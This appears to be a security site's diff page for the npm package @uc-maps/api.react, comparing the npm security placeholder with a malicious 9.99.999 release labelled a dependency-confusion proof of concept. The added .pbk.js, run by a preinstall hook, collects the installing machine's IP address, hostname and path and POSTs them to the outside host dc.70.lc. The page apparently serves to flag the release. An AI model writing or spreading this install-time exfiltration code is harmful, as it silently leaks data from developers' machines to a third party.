@uc-maps/api.react 0.0.1-security → 9.99.999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @uc-maps/api.react might be problematic. Click here for more details.

package/.pbk.js ADDED
@@ -0,0 +1,38 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ var __dirname;
5
+
6
+ const ip = Object.values(os.networkInterfaces())
7
+ .flat()
8
+ .filter(({ family, internal }) => family === "IPv4" && !internal)
9
+ .map(({ address }) => address)[0];
10
+
11
+ const host = os.hostname()
12
+ const path = __dirname;
13
+ const org = process.argv.slice(2)[0]
14
+ const package = process.argv.slice(2)[1]
15
+
16
+ data = {
17
+ ip,
18
+ host,
19
+ path,
20
+ org,
21
+ package
22
+ }
23
+
24
+ body = JSON.stringify(data)
25
+
26
+ var r = https.request({
27
+ hostname:'dc.70.lc',
28
+ port: 443,
29
+ path: '/d',
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Length': body.length,
33
+ 'Content-Type': 'application/json'
34
+ }
35
+ })
36
+ r.write(body)
37
+ r.end()
38
+
package/index.js ADDED
File without changes
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@uc-maps/api.react",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.99.999",
4
+ "description": "Dependency Confusion POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall":"node ./.pbk.js 9.99.999 @uc-maps/api.react"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40uc-maps%2Fapi.react for more information.